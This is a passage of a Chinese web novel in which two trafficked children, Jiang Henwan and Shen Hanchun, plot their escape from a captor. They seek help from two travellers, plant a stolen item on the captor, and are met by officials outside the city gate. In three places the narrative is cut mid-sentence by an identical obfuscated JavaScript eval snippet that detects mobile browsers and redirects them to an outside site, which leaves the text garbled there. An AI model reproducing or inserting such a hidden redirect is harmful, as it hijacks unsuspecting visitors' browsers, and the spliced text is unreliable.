“豁,那你们这么多年就这样吗,有没有想过找点什么正经工作?”国字脸问的很自然,没有一点小心翼翼的感觉,仿佛只是闲聊,让人恨容易放松下来。 “想过的。”姜恨晚一只手拉着他,闷闷地又重复了一遍,“想过的。” 她没有多说,而是有点防备地又看了一下四周,脸上的肌肉不自觉地绷紧,是一个戒备又紧张的姿势。 “嗯,这样啊。”国字脸点了点头,若有所思地看着姜恨晚,“那怎么后来没做了呢?” 他的语气很柔和,像是家中的长辈在问你为什么后来选择了这样子一条道路,语气没有恨铁不成钢,也没有一点点的责备。 沈寒春看了一眼国字脸,不知道在想什么,他一路上都很沉默,手指被姜恨晚扣着,他能感觉到女孩现在的紧绷,但是面上还是只有一副小心而又有点忧愁的表情。 “后来,”姜恨晚垂下了眼,“叔,你知道的,我们也想干,但是哪里有这么容易,很多人看我们小就不要我们,还有的人直接就赶我们走,很难的。” “豁,这样啊,以后有机会的话可以回凉城,凉城现在嘛还挺好的,我们那新来了个县令,人不错,现在别说是你们这种小孩了,连小偷小摸的都没什么了。”国字脸笑呵呵地说,但是大家都心知肚明,那个有机会怕是很难有了。 他们一边走,一边慢慢的闲聊着,有时候沈寒春也会时不时插两句话,一直到那个飘着香味的酒楼出现在眼前时,姜恨晚才松了口气。 这里人多,大部分是带上亲朋好友一起来的,如果是一个人那就回很明显,身后有个一直有意无意看着他们,跟了一路的壮汉把口中叼着的草一吐,拍了拍手就回去了,来这里还要花上一笔钱,不值当。 到时候也足够和疤脸交代。 一直到他们上了二楼,姜恨晚才拉着国字脸问,“叔,我想问问,你们大概是什么时候走,回凉城。”这个问题有点冒犯了,但是姜恨晚必须问,她仰头看着国字脸,身后刚刚坐下准备开始点菜的圆脸都愣住了,国字脸沉吟了一下,还是说,“我们明天就走了,今天晚上出来看皮影戏。” 他招了招手,“小二,这里。” 脑袋上别着个汗巾的小二马上就过来了,“得嘞,客官辛苦,您看看要点什么好。” “明天吗……”姜恨晚看着国字脸,垂下了眸子。 “哎,来个你们这儿的招牌菜吧,要实惠一点的啊,我们哥俩行走江湖好多年了都,要是好吃,一定给你多宣传宣传。”圆脸笑着说,他一只腿搭在凳子腿上,一只手撑着自己的腿,明显就是常在外面吃饭的样子。 “啊哟哪能呢,我们这里童叟无欺,谁来了都说实惠,您啊可就放心好了。”小二拍着胸脯保证,记下来他们要的菜之后赶紧飞奔下楼联系后厨。 先上来的是一碟花生米,因为是晚上,所以人相对来说没有那么多,国字脸捏了一粒花生米扔嘴里,没要酒,他打了个哈欠看向姜恨晚,“说吧小姑娘,刚刚那个跟着咱们的人应该已经走了。” 姜恨晚点了点头,用胳膊抹了一把脸上沾着的眼泪,吐了一口气稳定了情绪之后才开口,“叔,我们不是想去干一点正经活计,是不能。” 国字脸点了点头,他嚼着那粒花生米,表情并不意外。 “我们是被拐过来的,您也知道,现在生意难做,去干点正经活计肯定还是不如讨钱要的多,我们就只能一直去要饭,后来把钱交给他们,也不是没人想过要逃,但是城门都有他们的人,我们逃不掉。” 国字脸的动作一顿,他收回来还要去拿花生米的手,张了张嘴想要说什么,但是比安慰来的更快的是叹息,“我知道了,但是你应该也知道,你们现在算是黑户,根本就出不了城,我们也带不了你们出城。” 姜恨晚朝他笑了一下,“叔,我明白的,我没想着你们带我们出去,但是……” 她仰着头,说“我们还是想要争取一下,我们不想要一辈子就在这里磋磨了,我现在连自个的亲生父母都不知道是谁,所以,如果明儿个你们走了之后,在城门外看见了我们,能不能捎我们一程,把我们带去凉城,到了之后哪怕上流民策都可以。” 女孩的声音很软,但是很坚定,她祈求地看着国字脸,只是在赌那一个很小的可能。 国字脸没有第一时间说话,圆脸搓着沈寒春的头,就当没有听到。 姜恨晚看着他放在沈寒春脑袋上的手,有点不满的捏了捏沈寒春的手腕,沈寒春奇怪地看了她一眼,但是很快就反应过来,微微偏头,把自己从圆脸手下解救出来。 “问题是,你们要怎么出去呢。”国字脸问了一句,转头去接小二端上来的菜,把那一碗肉菜放桌上,对小二随口说了句,“你辛苦。” 小二也回了一句,“哎呀,我们这算是什么辛苦,想您这种常年在外面跑的,虽然赚的多,但是要我说啊,这才是辛苦呢,天天风吹雨淋的。” 国字脸笑了一下,对着小二挥了挥手,示意他下去,小二点了点头,把托盘拿走,又噔噔噔跑下去了。 一直到国字脸回头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352596|199339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他把碗和筷子分了分,呼了一口气,叹了一句“这卖相看起来还是可以的,吃吧吃吧。”话音刚落,就自己去夹了一筷子。 姜恨晚和沈寒春坐上去比桌子矮一点,只能尽量坐直了,去够那点饭菜。 他们很少吃到这么好的饭菜,印象里,这是第一次,沈寒春吃到特别好吃的就会把自己碗里的夹给姜恨晚,用肩膀蹭蹭她的肩膀。 姜恨晚很珍惜地小口小口吃着,尽管没有得到她想要的答案,但是已经够了,她真的,真的已经尽力了。 “你们知道那个吗,就是那种外面是红色的,咬下去脆脆的水果,听说里面还是白色的。”圆脸吃到一半就开始攀谈,他看着姜恨晚,“但是那种红色不是特别红,听说和女孩子脸红的样子差不多。” 姜恨晚现在心情并没有很好,甚至还有点烦躁,但是还是仰头笑着问,“真的吗,我都没有听说过这种水果,感觉很好吃的样子。”面上在笑,实际上把沈寒春的手攥的生疼。 圆脸故作高深地说,“我也只是听说过那种东西,现在我们这边都没有,我一度感觉那个是假的,直到有一次我们去一个王爷那里,哎呦喂,居然还真有那玩意,一口咬下去,全是汁水。”说完,还砸吧砸吧了嘴巴。 很明显,他是为了来活跃一下气氛的,姜恨晚也很给面子地追问,“哇,那个王爷一定很厉害吧。” 圆脸得意的挑了一下眉毛,把腿从凳子上放下来了,往前一探身,“可不是嘛,那可是一方王爷,能不厉害嘛。” 沈寒春微不可查地皱了皱眉,把姜恨晚往后面偷偷拉了一小步,不让他靠的离姜恨晚太近。 圆脸没发现,还在侃侃而谈,这一顿饭吃的倒是也算尽兴。 姜恨晚吃饭速度很快,虽然看着不狼狈,也没有胡塞,但是一小口又一小口就接着吃,到最后也没有花太久时间。 距离子时,只剩下半个时辰。 姜恨晚从凳子上跳下来,牵着沈寒春朝着国字脸鞠了一躬,说,“谢谢你,真的,真的很感谢,但是我们必须要走了,你是我们目前为止遇到过的,最好的人。”她停顿了一下,抿着唇还想说什么,但是国字脸摆了摆手,看上去对这一番感谢有点压力。 姜恨晚没再多说,只是垂下眼眸,说,“明天,我们一定会出城门,拜托了,叔。” 她又鞠了一躬,先行下了楼。 “寒春,我们去付钱。”姜恨晚说,她把自己身上所以攒下来的钱都拿了出来,沈寒春有点不解,但是还是把自己藏在暗囊里的碎银子也拿了出来。 这是他们现在能拿出来的所有的钱。 “他们是江湖人,重情重义,我们的事情太麻烦,不一定会帮,但是如果我们把这一顿的钱先付了,他们也会考虑在城门外等我们一会儿,这一点可能,就够了。” 她回头,眼里带着最后的孤注一掷。 13. 第 13 章 “而且,我准备的不只是这些。”姜恨晚扣着沈寒春的手,快步走到裁缝铺,准备拿剩下的一点碎银子随便买点衣服。 “我偷了那个富家小哥的金镯子,应该是他要送给女孩讨她欢心的。”姜恨晚垂着眸子冷冷地说,她的步子没停,矮身在人群中流窜。 “我把他的金镯子偷偷塞到了圆脸的包里,如果他们回去发现的早,应该已经去报官了。”姜恨晚冷静的盘算着,“那个公子哥一看就是大户人家出身的,在想给自己喜欢的女孩送礼时发现东西掉了,肯定咽不下这口气,这里人多,是谁偷了也说不定,他回去后一定会报官。” “报官之后,圆脸他们就算是为了自保也会把我们供出来,就说是两个孩子捡到的,明天出门就要被卖掉,这么说,哪怕是官府再怎么无视也坐不住了,我们的身份本来就存疑,他们禁不起细查,那明天我们出城之后就会被当场扣押,也有可能是在出城之后被赶来的官兵扣住。” “而现在衙门没有开门,最快就是明天早上,从我们出门的时间,以官兵的速度赶到,差不多也到城门了。” “到了之后,他们来查的时候我们就趁乱逃走,把绳子割断,外面有一条河,河水很急,我们直接跳下去肯定会死,所以我们要藏,我提前看过了,那边有很多低矮的灌木,别人藏不住,但是我们可以藏住,只要能藏住,那我们就能上国字脸的车。” 姜恨晚的语速很快,但是有条不紊,思路一点没乱,声音也不大,但是还好两个人挨得很近,足够对方听清楚了。 沈寒春点了点头,他被握住的那只手的手指蜷缩了一下,姜恨晚说的很简单,甚至可以说是最理想的情况,但是现实有这么容易吗,不说别的,就说刀疤脸一定会在明天送他们出门吗,他们一定能在那么多人当中趁乱跑掉吗,他们跑掉了真的不会被找到吗? 沈寒春不信姜恨晚没有想到,但是她还是用一种笃定并且自信的语气和他说,明明自己的手都还在抖,步子都是软的。 沈寒春的手其实也在抖。 他拉着姜恨晚,没让她再走那么快,而是扯住了她的手腕,姜恨晚感受到了扯动停下了脚步,她回头看了一眼沈寒春,想问他怎么了,但是话到嘴边还是被咽了下去,只是摇了摇头,说,“没事。” 姜恨晚重新牵起了他,走路的时候侧脸看了好一会儿,才说“别担心啦。” 沈寒春摇了摇头,他轻轻用手掌握着姜恨晚手,只是在心里想,确实没有关系的,哪怕计划失败,他把别人引开,姜恨晚也可以跑。 他不会让姜恨晚死在他前面的。 绝对不会。 裁缝铺离的没有很远,这个点还会开门的裁缝铺一般都很贵,都是给有钱人做衣服的,所以他们刚刚进门的时候,老板连眼皮都没有抬,只是在里面拉线,裁衣服。 但是当他们走进来的时候,老板看了一眼刚要说什么,又顿住了。 很显然,裁缝铺老板对他们两个的脸蛋很喜欢,抓着他们不放,把手头上的活计一扔,就要给他们量腰围,“哎呦小家伙快过来,瞧瞧这小脸蛋俊的呐。”老板从桌上拿着软尺就要过来量,她没管姜恨晚有点推拒的动作,只是手上动作没停,一下子就用尺子把姜恨晚围住了,变量边说,“这小脸蛋这么俊,怎么偏偏就穿了这身破破烂烂的衣服呢。”她有点嫌弃地捏着他们身上穿着的粗布麻衣的一脚,“我都好多年没看着这么烂的衣服了。” 她越瞧姜恨晚越喜欢,再一转头看着身后站着的沈寒春,更是满意的不得了,“这模样,走出去都给我长脸。” 姜恨晚赶紧说,“姨,麻烦你了,但是我们明天早上还要去亲戚家吃饭,要准备一身好点的衣裳,直接给我们拿一套就好了,不用特意去量。” “成衣?我们这里没有成衣啊,都是提前几天做好的,连大人的衣服都没有几件,怎么会有小孩的成衣。”裁缝铺老板有点疑惑地看着她,“小姑娘,不着急啊,我手脚麻利一点,明天就能给你送过去。” 遭了,他们就没有买过衣服,穿的都是别人不要的剩下的衣服,怎么会知道去买衣服还是要特地做的。 现在做,肯定是来不及了。 姜恨晚的心沉了一下,但她脸上没露出来,只是拉着沈寒春的手紧了紧。 “姨,那有没有现成的料子?我们自己改改也成。”她仰着头看老板,声音软了几分,“我们明天一早就要用,实在是等不及了。” 裁缝铺老板犹豫了一下,转身从柜子里翻出几块料子,都是做衣裳裁下来的边角料,堆在筐子里。她捡了几块颜色素净的,抖开看了看,“就这些了,好料子得提前订,哪有现成的。” 里面的布料样式没有特别出挑,但是胜在足够百搭,怎么样都不会出错。 姜恨晚当机立断,她把布料一塞,把桌上的针顺走了两根,又把一把小剪刀放到了框里,付了钱就把布料拿走了。 “我们可以让老板帮我们改一下。”沈寒春抱着那些布料跟在了姜恨晚后面。 “来不及。”姜恨晚的声音很硬,“我们必须走了,刀疤脸的耐心没那么好。” 她呼了一口气,又去看沈寒春,他抱着衣服走在后面,膝盖处的破棉絮已经漏出来了,那是他有一次他们被追的时候他主动引开别人,在跑的时候摔出来的破洞。 姜恨晚抿着唇,月光亮堂堂地照在了他们身上,怀里没有新衣服,只有一堆勉强说的过去的布料,她仔细回想了一下,刀疤脸只是说让他们把自己收拾干净,而不是一定要买一套新衣服,可他不一定会认。 但是还好,一直到他们走到破屋门口的时候,都没有看到刀疤脸。 其他的孩子缩在角落里睡觉,沈寒春小心地推开了门,尽量不发出太大的声音,但是不可避免的,木门的吱呀声还是吵醒了一些人。 那个才来没多久的小女孩靠在角落,在他们经过的时候扯住了姜恨晚的裤脚,“那个看我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355936|199339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的人走掉了。”她说的应该是刀疤脸,姜恨晚停了一下,她就着月光蹲下来看着女孩,轻声问,“你知道他为什么出去了吗?” 女孩面色模糊在了阴影里,她皱着眉想了一下,小声地说,“好像是有一个人叫他出去了,说什么货物什么的,然后他们就出去了。” 旁边的孩子翻了个身,窸窸窣窣的声音传来,姜恨晚没再多问,只是往怀里摸了一下,不着痕迹地看了一下四周,很小心地把半个馒头塞到了她的手里,说,“谢谢你,我省了很久的,给你。” 女孩吧那个硬邦邦的馒头塞到了自己身上,眼睛亮亮的,哪怕在黑暗里还是能看清楚。 姜恨晚拉着沈寒春往旁边退。他们在草堆旁借着月色开始缝衣。 姜恨晚把那块月白料子铺开,比在自己身上,用指甲在布上划出痕迹。棉布的纹路整齐,顺着经纬线剪,能剪出差不多的形状。 沈寒春蹲在旁边,看着她把那块月白料子撕成几片,又拿起针线开始缝。她的动作很快,针脚算不上多好看,但胜在结实,这种衣服穿一天就扔,不需要好看,只需要不掉就行。 “小晚。”沈寒春低声叫她。 “嗯?”姜恨晚吐了一下嘴里的线头,扭过来看他。 “我们明天……穿这个?”沈寒春问,他正坐在风口的位置帮姜恨晚挡风。 “嗯。”姜恨晚点了点头,又回过头来重新穿针引线。 “刀疤脸会不会嫌不好?” 姜恨晚没回答。她咬断线头,把缝好的袖子拿起来看了看,又继续缝领子。 过了好一会儿,她才说:“嫌不好更好。” 沈寒春愣了一下,没明白。 姜恨晚没解释,只是把缝好的半边身子递给他:“帮我抻着。” 沈寒春伸手扯住布的两端,看着姜恨晚一针一线地把前后片缝在一起。她的手指在月光下显得格外白,指尖有几个针扎的小红点,但她一声没吭。 “刀疤脸嫌不好,就会更想把我们快点卖出去。”她忽然说,声音很低,“他怕我们穿成这样去见人,买家看不上。” 沈寒春的手紧了紧。 “所以明天出门的时候,他会急,会顾不上检查我们身上有没有藏东西。”姜恨晚咬断线头,把缝好的衣裳抖开看了看,“他越急,我们就越有机会。” 她把衣裳叠好,压在稻草底下,又拿起那块靛青料子开始缝沈寒春那身。 沈寒春蹲在她旁边,看着她一针一线地缝,忽然说:“那金镯子呢?” 姜恨晚的手顿了一下。 “你放的根本就不是金镯子吧。”沈寒春的声音很静,只是在陈述一个事实。 姜恨晚没说话,只是对着月光继续缝。 “你怕我担心,所以没说。”沈寒春伸手,帮她把布料抻平,“小晚,你不用什么都自己扛。” 姜恨晚的手指蜷缩了一下。她低着头,睫毛在脸上投下一小片阴影。 14. 第 14 章 “是。”她又绞了一下丝线,把针收紧,“我没有放金镯子,我根本就偷不到那种东西,我们撞到的时间太短了,我只能拿一点随声挂着的小玩意儿,我只能赌他腰上的香囊就是那个女孩送的,他会去找。” 她的声音很低,也没什么表情,沈寒春凑近了一点,帮她把衣服扯直,“你怕我担心,所以什么都自己扛。” 姜恨晚绷紧了脸,没有回答,只是在那里闷闷地继续织线。 好半晌,她把自己拿件衣服的最后一个线头扯断后才说,“我不想让你也睡不着。” 她接过沈寒春手里那件已经裁剪好的布料,“我总不能告诉你,我其实心里一点底都没有,我不知道能不能行,我只能去赌我的运气。” 沈寒春没再说话。他只是把手覆在她手上,轻轻握了握。 姜恨晚吸了吸鼻子,继续缝。 两身衣裳缝好的时候,月亮已经偏西了。 姜恨晚把那身月白衣裳抖开,在自己身上比了比。袖子一边长一边短,领口有点歪,腰身也太宽了。但至少比身上那身破布强。 沈寒春那身也好不到哪去,袖口没锁边,线头露在外面,看着毛毛躁躁的。 “就这样吧。”姜恨晚把两身衣裳叠好,压在稻草最下面,“明天穿的时候看不出来。” 她把针别在衣领上,缩进稻草堆里。沈寒春在她旁边躺下来,把被子盖在两个人身上。 “小晚。”沈寒春翻身抱住了她,“快点睡吧。” 姜恨晚没出声,只是摸索着牵住了他的袖子,回了一句,“好。” 月光照在了门上,把那一扇破旧的木门照的清清楚楚,就是这么一道简单的木门,轻而易举的困住了她。 她睁着眼睛,在脑海里不断地会想着自己明天的计划,每一个变数,不管怎么样,沈寒春都一定要逃掉,他本来就不属于这里,在他被刀疤脸按着身子带到这里来的时候姜恨晚就知道了,这里长不出来这么干净又金贵的小孩。 哪怕他后来很快就融入了这里,但是她永远都忘不掉那个刚来的小孩怎么都按不下去的腰和始终挺直的脊背。 她从来没有看到过这种人,脸上还带着堪称惨烈的傲气,很像一块马上就要碎掉的玉,被按着下跪,哪怕是被打了,也只会用手撑着,不让自己跪下。 她上来解了围,刀疤脸顺着台阶下了,现在她已经忘记了当初自己说了什么,也忘记了刀疤脸是怎么放过他的,只记得沈寒春当时用大拇指抹了把脸上的血迹,吐了一口血沫,又狠又辣。 从此以后,多了一个朝夕相处的朋友,日子都变得有点盼头了一点。 很奇怪,明明认识了很久了,但是还是会想到最开始见到他的那份决绝。 好像如果被侮辱比杀了他还要难受。 蠢死了。 姜恨晚在沈寒春的怀里翻了个身,她没再想其他的,呼吸慢了下来。 明天会是漫长的一天,她需要力气。 天还没亮,姜恨晚就醒了。 破屋里还是黑的,只有屋顶的裂缝漏进来一点灰蒙蒙的光。她侧过头,沈寒春还睡着,呼吸很轻,一只手搭在她袖子上,攥得很紧,哪怕睡着了也没松开。 她没动,又把计划在脑子里过了一遍,每一步都可能出错,但是他们没有能力去承担错误的成本。 她睁着眼,等天亮。 刀疤脸来的时候,天刚蒙蒙亮。 他踹开门,冷风灌进来,几个孩子被冻醒了,缩在角落里不敢动。他扫了一圈,目光落在角落里的姜恨晚和沈寒春身上。 “起来。”他说,声音沙哑,带着一夜没睡的躁气。 姜恨晚爬起来的动作很快,像是早就等着这一刻。她低着头,把压在稻草下面的两身衣裳拿出来,月白的递给他看,靛青的留在自己手里。 “哥,缝好了。”她的声音小小的,带着点讨好。 刀疤脸接过去抖开看了看。袖口歪歪扭扭,领子一边高一边低,线头露在外面,看着就寒碜。他眉头皱起来,想骂两句,又忍住了,骂也没用,现在去找衣裳已经来不及了。 “穿上。”他把衣裳扔回她怀里,“丑是丑了点,总比那身破布强。” 姜恨晚赶紧应了一声,转过身去穿衣裳。沈寒春也动了,两个人背对着背,手忙脚乱地把新衣裳套上。 月白的棉布贴在身上,姜恨晚打了个哆嗦,新衣裳薄,不挡风。但她顾不上冷,借着衣裳的遮掩,把藏在衣领里的针取出来,咬在嘴里,又伸手把头发拢了拢,三两下盘起来,把针别进去。 动作很快,沈寒春在旁边挡着,刀疤脸没看见。 “磨蹭什么?”刀疤脸不耐烦地皱了皱眉。 “好了好了。”姜恨晚转过来,拉了拉衣摆,仰着头看他,“哥,行吗?” 刀疤脸看了一眼。衣裳不合身,袖子长了一截,腰身宽得能塞进一个拳头,但那张脸洗干净了,头发也梳顺了,月白的颜色衬得她皮肤白净,眼睛亮亮的,看着确实讨喜。 他没说话,又看了一眼沈寒春。靛青的颜色压住了他眉眼的凶意,看着倒有几分清秀。 “行。”他转身往外走,“跟上来。” 其他的孩子没有发出声音,现在还没到讨饭的时间,可以再睡一会,他们就像是故事里的背景板,没有人在意,也没有一点自己的主见和想法。 姜恨晚没回头,她攥着沈寒春,跟着刀疤脸走进了晨雾里。 路上没人。 天还没全亮,街两边的铺子都关着,只有远处传来几声狗叫。刀疤脸走在前头,步子很大,姜恨晚和沈寒春要小跑才能跟上。 “哥,买家在哪儿啊?”姜恨晚喘着气问。 “城外。”刀疤脸头也不回,“别多嘴。” 姜恨晚闭嘴了。她低着头跑,手在袖子里攥着那把修衣刀,很小,藏在袖口里,不仔细摸发现不了。 她的手在抖,但刀握得很紧。 快到城门的时候,刀疤脸的步子慢下来了。 姜恨晚的心跟着提起来。 她往前面看,城门开着,几个守城的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360949|199339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士兵靠在墙边打哈欠,没什么异常。没有官兵,没有搜查,什么都没有。 香囊呢?公子哥呢?官府的人呢? 她的脑子嗡了一下,步子差点乱了。 “愣什么?”刀疤脸回头瞪她。 “没、没有。”她低下头,跟着他往前走。 城门越来越近。守城的士兵看了他们一眼,目光在刀疤脸身上停了一下,又移开了。 没人拦。 姜恨晚的手心里全是汗。她攥着沈寒春的手,指甲几乎掐进他肉里。沈寒春没吭声,只是回握了她一下,很用力。 一直到出城门,都平静得吓人。 刀疤脸挥鞭的速度又快起来,他驾车沿着官道往南走。路两边是大片的枯草地,远处有一片矮树林,再远一点,能看见河面的反光。 姜恨晚看着那片矮树林,心跳如鼓。 没有人来拦。没有人来救他们。 她只能靠自己了。 她侧过头,刚想跟沈寒春说句话,就听见身后传来一阵马蹄声。 又急又密,听上去是很多马在跑。 刀疤脸的步子顿住了。他回过头,脸色一下就变了。 姜恨晚也掀开了马车的帘子,回过头去看。 只见官道上,一队骑兵正朝这边冲过来,领头的人穿着官服,手里举着一面旗。风把旗吹开,露出上面一个“捕”字。 刀疤脸骂了一声,转身就要跑。但骑兵来得太快,转眼就到了跟前。 “站住!”领头的人大喝一声,马停在路中间,挡住了去路。 刀疤脸僵住了。他站在原地,脸上的肌肉抽搐了一下,很快堆起一个笑:“官爷,这、这是怎么了?” 领头的人没理他,目光扫过他和身后的马车,一挥手下令道,“搜。” 几个骑兵翻身下马,把刀疤脸围住。一个人搜他身上的东西,另外两个掀开马车的帘子往里看。 姜恨晚的手在发抖。她拉着沈寒春,往后退了半步。 “这两个孩子是谁?”领头的人问,目光落在姜恨晚脸上。 “我、我亲戚家的孩子。”刀疤脸的声音发紧,“带他们去走亲戚,官爷,这肯定是有什么误会啊……” “亲戚?”领头的人冷笑一声,“你亲戚家的孩子,怎么跟昨晚报案说的那两个一模一样?” 刀疤脸的脸白了,他瞬间就看向姜恨晚和沈寒春,眼部肌肉抽动了一下,杀意立马漫了上来,他显然意识到了什么,但是碍于官兵还不好动手。 姜恨晚的心猛地跳了一下——报案?官府真的来人了?是因为那个香囊吗,还是国字脸他们真的趟浑水了? 她来不及想这些。因为那个领头的人已经从刀疤脸身上搜出了东西——一个小小的铜扣子,被油纸包着,塞在袖口的夹层里。 姜恨晚看见了。那就是她早上趁刀疤把他们塞上马车时塞进去的。 领头的人把铜扣子举起来看了看,脸色变了:“这是王大人家公子的东西。昨晚报案说丢的,怎么在你这儿?”